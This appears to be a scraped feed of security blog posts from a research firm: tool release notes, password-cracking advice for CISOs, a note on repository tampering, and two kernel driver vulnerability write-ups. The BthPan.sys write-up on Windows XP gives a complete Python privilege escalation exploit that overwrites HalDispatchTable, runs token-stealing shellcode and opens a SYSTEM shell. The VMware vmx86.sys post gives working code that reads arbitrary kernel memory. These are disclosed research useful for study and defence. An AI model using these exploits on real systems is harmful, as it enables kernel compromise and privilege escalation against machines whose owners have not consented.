The threat of repository tampering is real. The industry has been slow to recognize the danger, but we think that needs to change. Not only do organizations need to care about the integrity of their own code repositories, but they need to be concerned about the repositories of the vendors whose software they run. Supply chain attacks have been getting more attention in recent years, but this is an aspect of that threat that has so far gone largely unnoticed.


KLogTail 1.2.0 Released

$
0
0
Version 1.2.0 is a minor release of KLogTail. Generally, code was cleaned up and refined as necessary. Several bugs have been fixed; all warning and error messages have been enhanced to facilitate post-processing by log analysis tools; a basic man page has been added; and the project has been completely restructured to use autoconf/automake for the configure/build process.

FTimes 3.11.0 Released

$
0
0
Version 3.11.0 is a minor release of FTimes. Generally, code was cleaned up and refined as necessary. Several bugs have been fixed -- see the ChangeLog for details. This release introduces file hooks support for an embedded Python interpreter. Finally, a new tool, ftimes-bimvl, has been added to the project.

CISO's Corner: Password Cracking Best Practices and Myths

$
0
0
Despite repeated breaches of password repositories, most recently the rumored cause of the Apple iCloud celebrity image theft, password-based authentication remains the norm for most users even though solutions like multi-factor authentication offer superior protection. Not only are user accounts at risk, but more importantly, so are their data. More often than not, default passwords have been the root cause of multiple high-profile system and company compromises. As with any recurring, successful attack, the bar must be raised to prevent the inevitable question from management: "This attack is well known, so why didn't we prevent it?"

One of the ways KoreLogic is studying this problem space is through its Crack Me If You Can (CMIYC) contest, which has been held annually at DEFCON for the last five years. The goal of the contest is to to help push the envelope of password cracking techniques with an eye towards improving passwords and password use. Once again, this year's contest proved popular and yielded more insights into password strengths and weaknesses. It also revealed what the password cracking experts are able to crack in a short period of time (48 hours). According to Rick Redman (the creator of CMIYC and KoreLogic's password recovery team leader):
  • There is no single "best" password cracking method or system. New methods continue to evolve in response to counter-measures. For example, the use of graphics processing units (GPUs) to speed up cracking is being countered by the rise of hash functions that have higher work factors or are not easily parallelized (e.g., bcrypt). In any case, password cracking methods and systems will continue to improve as long as the return on investment for adversaries is there.
  • Even with password complexity requirements, users are still creating predictable and easy-to-crack passwords.
  • The standard password complexity rules of requiring 8+ characters with at least 1 digit and/or special character do not adequately protect enterprise environments, and our experience suggests that they certainly don't force users to create strong passwords.
  • Users will continue to use predictable passwords (and password patterns) if not trained in proper techniques and audited regularly.
We understand the trade-offs between help desk overhead increasing (e.g., increased calls for password resets) and enforcing more complex passwords, but when these trade-offs are compared to the potential for corporate loss (e.g., either by reputation, revenue, or both), it's becoming increasingly difficult to argue for maintaining the status quo.

CISO Takeaways

  1. There is certainly a tipping point between strong passwords and usability. Train end-users on ways to produce harder-to-guess passwords (i.e., those that are less likely to be in an attacker's cracking dictionaries). Bruce Schneier's advice from 2008, "take a sentence and turn it into a password", remains viable. Thus, something like "I love the 4th of July, don't you?" might become "i1T4oJ,dY?".
  2. Consider password cracking expertise as a factor in selecting your penetration testing firms or supplementing your internal audit functions. This expertise will help simulate what your adversaries use and will more accurately gauge your susceptibility to and impact from password brute-force attacks.
  3. Consider addressing the following security best practice questions for your security team:


  4. Question
    Analysis
    What is the basis for our password strength policy (e.g., minimum of 8 characters with at least 1 upper, 1 lower, 1 digit, and 1 special)? Benchmark your organizational password complexity requirements against fact-based password cracking research and methods. Be wary of blindly adapting re-circulated and inaccurate advice that is so commonplace in security IT literature. Our real-world and research experience indicates such advice is often wrong.
    Do we require all administrators to use multi-factor authentication (MFA) and/or privileged identity management? Just as adversaries do, KoreLogic typically targets administrators during contracted penetration tests. And when when we capture their credentials, the house tends to crumble. While MFA is not infallible, it certainly raises the bar and increases the odds that nefarious activities will be detected.
    Do we have a means of examining the most common password topologies (i.e., patterns) used within our environment to gauge our risk? Unfortunately, users gravitate towards predictable and simplistic ways of satisfying organizational password strength requirements. Attackers are keenly aware of this fact, and they are constantly searching for new user behaviors. Consequently, they can crack a highly disproportionate percentage of enterprise passwords with little or no effort. For example, the top 5 most popular patterns crack 15-25% of all passwords, despite being less than 0.008% of the possible keyspace. To research this risk, KoreLogic's Hank Leininger initiated the PathWell project for DARPA's Cyber Fast Track program. PathWell identifies and blocks common passwords based upon common password topologies and learned user behavior.
    What tools do we use for password cracking and strength checking? How much of an effort do we make to customize/optimize these tools to "fit" our environment? Most tools used by auditors and incident response teams are not configured properly to take advantage of the wordlists, rules, and patterns used by individuals in enterprise environments. KoreLogic has published a wealth of wordlists and rules as part of CMIYC. KoreLogic also runs a password recovery service designed to help its clients audit their passwords.
    Are the passwords of default accounts changed, and do we audit our systems to ensure that this is the case? Default accounts, passwords, and community strings remain a recurring problem. An administrator can do everything right to secure their systems, but one missed default account could allow an attacker to gain access. Automated vulnerability scanners often miss default credentials due to the complexity of networks and system configurations. Organizations should employ a mix of automated and manual techniques to identify and remove default credentials from their environments.
    Do we have users or system accounts that share the same passwords? Password reuse/sharing is a very common occurrence among users and system accounts. The only way to confirm if you have this vulnerability is to actually audit the passwords. This helps identify which accounts are using shared, common, and/or non-unique passwords.

Vuln Analysis: Classic write-what-where in XP's BthPan

$
0
0

Recently, we came across the BthPan.sys driver while researching Microsoft's Bluetooth implementation within 32-bit Windows XP (SP3), and after conducting a number of fuzzing tests, we discovered that this driver has a vulnerability known as a write-what-where condition. It should be noted that the BthPan.sys driver is not enabled or even installed by default. Thus, the attack described below will only function if the end user or operating system administrator has installed the driver, such as via 'Add/Remove Programs' within the Control Panel, or installing some hardware driver that implicitly enables it.

Once installed, the BthPan.sys driver is loaded into the kernel the next time a Bluetooth device is inserted in the target computer. After that, a process (svchost) is spawned to support Bluetooth operations. By monitoring the IOCTL calls made by this process as a result of various fuzzing runs, we were able to derive portions of the available attack surface within the driver, and that's what led to the discovery of the write-what-where condition.

Example Python code that triggers this vulnerability can be found below. The important piece of information within this code is not the \x90 but rather the OutputAddress (0xffff0000) used within the DeviceIoControlFile function call. Since no memory had been previously allocated at this address, the kernel will throw an error as soon as any attempt is made to write to it.

from ctypes import *
CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory = windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory
DeviceIoControlFile = windll.ntdll.ZwDeviceIoControlFile

handle = CreateFileA("\\\\.\\BthPan",0x1|0x2,0,None,0x3,0,None)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x500)),0x1000|0x2000,0x40)
WriteProcessMemory(-1, 0x1, "\x90"*0x400, 0x400, byref(c_int(0)))
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x0012d814,0x1,0x258,0xffff0000,0)
A complete memory dump from the target computer during the blue screen of death was taken. By analyzing the context of the crash, we could see the OuputAddress (0xffff0000) had a write attempt that failed.
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except, it must be protected by a Probe.  Typically the address is just plain bad or it is pointing at freed memory.

Arguments:
Arg1: ffff0000, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 804f3b76, If non-zero, the instruction address which referenced the bad memory address.
Arg4: 00000000, (reserved)
The CPU registers from the TRAP_FRAME at the time of the crash show a MOVS instruction with the EDI register set to the value that we provided to the DeviceIoControlFile() function.
TRAP_FRAME:  b1bc47b0 -- (.trap 0xffffffffb1bc47b0)
ErrCode = 00000002
eax=0000006a ebx=81e05688 ecx=0000001a edx=00000001 esi=8206d538 edi=ffff0000
eip=804f3b76 esp=b1bc4824 ebp=b1bc4868 iopl=0         nv up ei pl nz na po cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010203
nt!IopCompleteRequest+0x92:
804f3b76 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
For more details, we've included the stack trace below:
STACK_TEXT:
b1bc4738 8051cc7f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b
b1bc4798 805405d4 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7
b1bc4798 804f3b76 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc
b1bc4868 804fdaf1 81e056c8 b1bc48b4 b1bc48a8 nt!IopCompleteRequest+0x92
b1bc48b8 80541890 00000000 00000000 00000000 nt!KiDeliverApc+0xb3
b1bc48d8 804fb4a7 8055b1c0 81e70da8 b1bc48fc nt!KiUnlockDispatcherDatabase+0xa8
b1bc48e8 80534b09 8055b1c0 81defa70 8238ffe8 nt!KeInsertQueue+0x25
b1bc48fc f83e26ec 81defa70 00000000 b1bc4928 nt!ExQueueWorkItem+0x1b
b1bc490c b2a465a1 81defa68 00000000 8206d538 NDIS!NdisScheduleWorkItem+0x21
b1bc4928 b2a55544 b1bc4948 b2a5530e 81e05688 bthpan!BthpanReqAdd+0x16b
b1bc4b68 b2a5562b 81e05688 00000258 8242fbc8 bthpan!IoctlDispatchDeviceControl+0x1a8
b1bc4b80 f83e94bb 8242fbc8 81e05688 824ff190 bthpan!IoctlDispatchMajor+0x93
b1bc4b98 f83e9949 8242fbc8 81e05688 824b6c08 NDIS!ndisDummyIrpHandler+0x48
b1bc4c34 804ee129 8242fbc8 81e05688 806d32d0 NDIS!ndisDeviceControlIrpHandler+0x5c
b1bc4c44 80574e56 81e056f8 824ff190 81e05688 nt!IopfCallDriver+0x31
b1bc4c58 80575d11 8242fbc8 81e05688 824ff190 nt!IopSynchronousServiceTail+0x70
b1bc4d00 8056e57c 00000678 00000000 00000000 nt!IopXxxControlFile+0x5e7
b1bc4d34 8053d6d8 00000678 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
b1bc4d34 7c90e514 00000678 00000000 00000000 nt!KiFastCallEntry+0xf8
0021f704 7c90d28a 1d1add7a 00000678 00000000 ntdll!KiFastSystemCallRet
0021f708 1d1add7a 00000678 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
WARNING: Stack unwind information not available. Following frames may be wrong.
0021f73c 1d1aca96 1d1ac910 0021f75c 00000028 _ctypes!DllCanUnloadNow+0x5b4a
0021f76c 1d1a8db8 7c90d27e 0021f8a0 b50f9e3f _ctypes!DllCanUnloadNow+0x4866
0021f81c 1d1a959e 00001100 7c90d27e 0021f870 _ctypes!DllCanUnloadNow+0xb88
0021f984 1d1a54d8 7c90d27e 00b51978 00000000 _ctypes!DllCanUnloadNow+0x136e
0021f9dc 1e07bcec 00000000 00b51978 00000000 _ctypes+0x54d8
00000000 90909000 90909090 90909090 90909090 python27!PyObject_Call+0x4c
00000000 00000000 90909090 90909090 90909090 0x90909000
By changing the TRAP_FRAME to that of the DeviceIoControlFile() function, we can pull the parameters passed to the function off of the stack.
11 b29dbd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
eax=0000006a ebx=82500928 ecx=0000001a edx=00000001 esi=81d485c8 edi=ffff0000
eip=8056e57c esp=b29dbd08 ebp=b29dbd34 iopl=0         nv up ei pl nz na po cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010203
nt!NtDeviceIoControlFile+0x2a:
8056e57c 5d              pop     ebp
kd> db [ebp+2C] L?0x4
b29dbd60  00 00 00 00                                      ....
kd> db [ebp+28] L?0x4
b29dbd5c  00 00 ff ff                                      ....
kd> db [ebp+24] L?0x4
b29dbd58  58 02 00 00                                      X...
kd> db [ebp+20] L?0x4
b29dbd54  01 00 00 00                                      ....
kd> db [ebp+1C] L?0x4
b29dbd50  14 d8 12 00                                      ....
The values shown above translate to:
NtDeviceIoControlFile(hValue, 0, 0, 0, 0x0012d814, 0x1, 0x258, 0xffff0000, 0x0);

By changing a few lines in the example code (see diff below), we can show that it is possible to overwrite kernel memory by abusing this IOCTL.

Output from a Local Kernel Debugger attached to the target computer:

Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 2600.xpsp_sp3_qfe.101209-1646
Machine Name:
Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0
Debug session time: Fri Aug 15 11:10:02.521 2014 (UTC - 7:00)
System Uptime: 0 days 0:46:37.640
kd> db 0x8054593c L?0x4
8054593c  cc cc cc cc

The DWORD at 0x8054593c is the memory address for the first entry within the HalDispatchTable. This entry corresponds to the ntdll!NtQueryIntervalProfile() function found below, which issues a CALL instruction on the pointer found within the EDX CPU register.

ntdll!ZwQueryIntervalProfile:
7c90d83e b89e000000      mov     eax,9Eh
7c90d843 ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
7c90d848 ff12            call    dword ptr [edx]
7c90d84a c20800          ret     8
7c90d84d 90              nop

The following code will allow the CPU EIP register to become attacker-controlled:

from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
def getBase(name=None):
    retArray = c_ulong*1024
    ImageBase = retArray()
    callback = c_int(1024)
    cbNeeded = c_long()
    EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
    for base in ImageBase:
        driverName = c_char_p("\x00"*1024)
        GetDeviceDriverBaseNameA(base,driverName,48)
        if (name):
              if (driverName.value.lower() == name):
                    return base
              else:
                    return (base,driverName.value)
     return None

handle = CreateFileA("\\\\.\\BthPan",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
buf = "\xcc\xcc\xcc\xcc"+"\x90"*(0x400-0x4)
WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))
WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0)))
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x0012d814,0x1,0x258,HalDispatchTable,0)
CloseHandle(handle)
NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))

When reviewing the memory dump generated from the code shown above, the debugger will display EIP control.

TRAP_FRAME:  b1b0cc8c -- (.trap 0xffffffffb1b0cc8c)
ErrCode = 00000010
eax=b1b0cd14 ebx=8060ea01 ecx=00000000 edx=0021f7f0 esi=00cf3058 edi=b1b0cd64
eip=cccccccc esp=b1b0cd00 ebp=b1b0cd20 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
cccccccc ??              ???

By adding shellcode designed to steal the Token from the SYSTEM process (PID=4) and replace the Token of the exploit process, an attacker can elevate his/her privilege level.

# Microsoft BthPan.sys Privilege Escalation
#           Write-What-Where
#               XP SP3
#
# Matt Bergin (KoreLogic / Smash the Stack)
#
from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
def getBase(name=None):
    retArray = c_ulong*1024
    ImageBase = retArray()
    callback = c_int(1024)
    cbNeeded = c_long()
    EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
    for base in ImageBase:
        driverName = c_char_p("\x00"*1024)
        GetDeviceDriverBaseNameA(base,driverName,48)
        if (name):
              if (driverName.value.lower() == name):
                    return base
              else:
                    return (base,driverName.value)
     return None

handle = CreateFileA("\\\\.\\BthPan",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
print "[+] Handle \\\\.\\BthPan @ %s" % (handle)
tokenSwap = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x44\x50\xBB\x04\x00\x00\x00\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x39\x98\x84\x00\x00\x00\x75\xED\x8B\xB8\xC8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x39\x98\x84\x00\x00\x00\x75\xED\x89\xB8\xC8\x00\x00\x00\x61\xC3"
tokenSwap = tokenSwap.replace("\x41\x41\x41\x41",pack('<L',getpid()))
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)
buf = "\x50\x00\x00\x00"+"\x90"*0x400
WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))
WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0)))
WriteProcessMemory(-1, 0x5000, tokenSwap, len(tokenSwap), byref(c_int(0)))
#Overwrite Pointer
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable))
DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x0012d814,0x1,0x258,HalDispatchTable,0)
print "[+] HalDispatchTable+0x4 overwritten"
CloseHandle(handle)

#Trigger Shellcode
print "[+] Triggering shellcode"
NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))

#Start Shell
print "[!] Starting SYSTEM shell"
system("c:\\windows\\system32\\cmd.exe")
exit(0)

Finally ... a shell with SYSTEM privilege has been obtained!

After vendor notification, we published an advisory about this vulnerability, and developed a Metasploit module based on the above PoC.

Password Security Research Featured in the Huffington Post

$
0
0
Check out the recent Huffington Post article The Big Password Mistake That Hackers Are Hoping You'll Make by Jeff Fox that talks about the need to "avoid a little-known mistake recently uncovered by password researchers" (i.e., the overuse of common password patterns (or topologies) by users as they create their passwords). This article references some of the conclusions that came out of our PathWell (Password Topology Histogram Wear-Leveling) project, which was sponsored by DARPA (Defense Advanced Research Projects Agency) in 2013 under its Cyber FastTrack program. Stay tuned for more PathWell-related news as we are preparing to release the software developed for that project in the near future.

im in ur scm, bein a ninja

$
0
0
A few months ago I posted a high-level overview of some source code repository tampering risks.

The other day I presented a much deeper dive at BSides DC, with examples of multiple ways to manipulate CVS, Git, and Subversion repositories, and some thoughts on how companies and code-hosting sites could/should harden their infrastructures.

Watch the presentation, or download the slides. (PDF warning)

Watch for future blog posts that extract and expand upon some of those examples.

Thanks to the BSidesDC folks for a great conference, and to ComputeCycle for the recordings!

VMware: "It's not a vulnerability, mmkkkayyy"

$
0
0

During a recent review of the VMWare Workstation application, I discovered a method that allows any member of the __vmware__ group to extract arbitrary sections of kernel memory. When you consider the fact that members of this group are not required to already have administrative privileges, this suddenly becomes a significant vulnerability in the sense that it implies that otherwise unprivileged users now have the means to extract and subsequently use/abuse sensitive data like process-level tokens, encryption keys, etc. Needless to say, this poses a significant security risk to any organization that allows unprivileged users to operate virtual machines by way of the __vmware__ group.

To date, VMWare has declined to mitigate this vulnerability despite the detailed evidence we have provided and our repeated attempts to convince them that there is an underlying design flaw here that needs to be addressed. Also note that this vulnerability, officially documented here, has not been assigned a CVE identifier because MITRE declined to do so.

The VMWare Workstation application uses a driver named vmx86.sys that supports various operations relating to guest operating system emulation and interaction. Our research has uncovered this vulnerability in Microsoft Windows XP Service Pack 3 and Windows 7 (x86). It is likely that Windows Server 2003 is impacted as well; other VMWare software such as Player may also be impacted.

In order to execute the IOCTL within the affected driver, the user must belong to the __vmware__ group. According to VMWare an unprivileged user does not have to belong to this group to run VMs as long as the vmware-authd.exe service is running. I have confirmed this to be the case.

By leveraging this vulnerability, an unprivileged user will be able to extract any memory that resides within the kernel. Kernel memory contains sensitive information relating not just to process privilege level, but many other security aspects of the operating system as well.

VMWare has indicated that they do not consider this an actionable security issue. However, as this vulnerability is trivially exploited, they agreed consumers should be advised to not assign untrusted users to the __vmware__ group. Consequently, VMWare has since published Knowledge Base article 2089333, which "describes the use case and security considerations" of the __vmware__ group.

However, there's more to it than that. I have confirmed that the access afforded by the __vmware__ group is greater than that a typical administrator would enjoy. In fact, the access is effectively equivalent to that of the SYSTEM user. I go into more detail about this later in the blog, but first, let me show you how the issue can be triggered.

The code shown below triggers the issue by forcing a memory read at a blatantly invalid address (0xffff0000).

from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
	print "[!] Could not open handle, is user part of the __vmware__ group?"
	exit(1)
print "[+] Handle \\\\.\\vmx86 @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x100)),0x1000|0x2000,0x40)
buf = pack('<L',0xcccccccc)*100
WriteProcessMemory(-1,0x100,buf,len(buf),byref(c_int(0)))
inputBuffer = pack('<L',0xffff0000) + pack('<L',0x41414141)
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x75,0xff)
if (GetLastError() != 0):
	print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
	exit(1)
CloseHandle(handle)

Upon review of the crash dump output produced by executing the code above, it's evident that 0xffff0000 has been referenced and subsequently moved into the attacker-controlled ESI register.

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except,
it must be protected by a Probe.  Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: ffff0000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 82c727f3, If non-zero, the instruction address which referenced the bad memory
	address.
Arg4: 00000000, (reserved)

....

eax=ffff00ff ebx=872b20f0 ecx=0000003f edx=00000003 esi=ffff0000 edi=87ec7740
eip=82c517f3 esp=9b3b7a54 ebp=9b3b7a5c iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
nt!memcpy+0x33:
82c517f3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope

LAST_CONTROL_TRANSFER:  from 82c593d8 to 82ca641b

STACK_TEXT:
9b3b79c8 82c593d8 00000000 ffff0000 00000000 nt!MmAccessFault+0x106
9b3b79c8 82c517f3 00000000 ffff0000 00000000 nt!KiTrap0E+0xdc
9b3b7a5c 977c7bd6 87ec7740 ffff0000 000000ff nt!memcpy+0x33
WARNING: Stack unwind information not available. Following frames may be wrong.
9b3b7ad0 977c829a 87ec7740 00000008 87ec7740 vmx86+0xbd6
9b3b7afc 82c4f593 872b2d70 872b20d8 872b20d8 vmx86+0x129a
9b3b7b14 82e4399f 85a82140 872b20d8 872b2148 nt!IofCallDriver+0x63
9b3b7b34 82e46b71 872b2d70 85a82140 00000000 nt!IopSynchronousServiceTail+0x1f8
9b3b7bd0 82e8d3f4 872b2d70 872b20d8 00000000 nt!IopXxxControlFile+0x6aa
9b3b7c04 82c561ea 00000078 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
9b3b7c04 777570b4 00000078 00000000 00000000 nt!KiFastCallEntry+0x12a
0021fa5c 00000000 00000000 00000000 00000000 0x777570b4

From here, I concluded that I could read any arbitrary section of memory. The code shown below demonstrates one technique for doing just that.

from ctypes import *
from struct import pack
from os import getpid,system
from sys import exit
from binascii import hexlify
from re import findall
EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA
GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory
INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0

# thanks to offsec for the concept
# I re-wrote the code as to not fully insult them :)
def getBase(name=None):
	retArray = c_ulong*1024
	ImageBase = retArray()
	callback = c_int(1024)
	cbNeeded = c_long()
	EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))
	for base in ImageBase:
		driverName = c_char_p("\x00"*1024)
		GetDeviceDriverBaseNameA(base,driverName,48)
		if (name):
			if (driverName.value.lower() == name):
				return base
		else:
			return (base,driverName.value)
	return None

handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
if (handle == -1):
	print "[!] Could not open handle, is user part of the __vmware__ group?"
	exit(1)
print "[+] Handle \\\\.\\vmx86 @ %s" % (handle)
NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40)
kBase,kVer = getBase()
hKernel = LoadLibraryExA(kVer,0,1)
HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")
HalDispatchTable -= hKernel
HalDispatchTable += kBase
HalDispatchTable += 0x4
inputBuffer = pack('<L',HalDispatchTable) + "\x41"*4
DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0x4)
if (GetLastError() != 0):
	print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError()))
	exit(1)
data = create_string_buffer(0x4)
if (ReadProcessMemory(-1,0x25,byref(data),0x4,byref(c_ulong(0))) == 1):
	kValue = ""
	for i in findall('..',hexlify(data)[::-1]):
        	kValue+=i[::-1]
	print "[+] HalDispatchTable+0x4(%s) == %s" % (hex(HalDispatchTable)[:-1],kValue)
else:
	print "[!] could not read output memory."
CloseHandle(handle)

Reviewing the output produced by executing the above code will illustrate how an attacker can read arbitrary sections of memory from the kernel.

eax=00000000 ebx=00000000 ecx=0021fe68 edx=00000020 esi=778e7380 edi=778e7340
eip=778570b4 esp=0021feb8 ebp=0021fed4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
778570b4 c3              ret
0:000> db 0x25 L?0x4
00000025  a2 68 04 83

[+] Handle \\.\vmx86 @ 120
[+] HalDispatchTable+0x4(0x82d383fc) == 830468a2

Another example would be to extract the SYSTEM Access Token from PID four (4):

lkd> !process 0 1
**** NT ACTIVE PROCESS DUMP ****
PROCESS 853ca020  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00185000  ObjectTable: 8a401b28  HandleCount: 983.
    Image: System
    ...
lkd> !exts.token -n 8a401270
_TOKEN 8a401270
TS Session ID: 0
User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
...
lkd> db 0x8a401270 L?0x1dc
8a401270  2a 53 59 53 54 45 4d 2a-00 00 00 00 00 00 00 00  *SYSTEM*........
8a401280  ea 03 00 00 00 00 00 00-e7 03 00 00 00 00 00 00  ................
8a401290  00 00 00 00 00 00 00 00-90 eb 4c b6 26 75 20 06  ..........L.&u .
8a4012a0  00 df 34 85 eb 03 00 00-00 00 00 00 00 00 00 00  ..4.............
8a4012b0  bc ff ff f2 0f 00 00 00-90 e8 b1 60 0e 00 00 00  ...........`....
8a4012c0  90 e8 b1 60 0e 00 00 00-00 00 00 00 00 00 00 00  ...`............
8a4012d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
8a4012e0  00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00  ................
8a4012f0  70 00 00 00 00 04 00 00-00 00 00 00 01 00 00 00  p...............
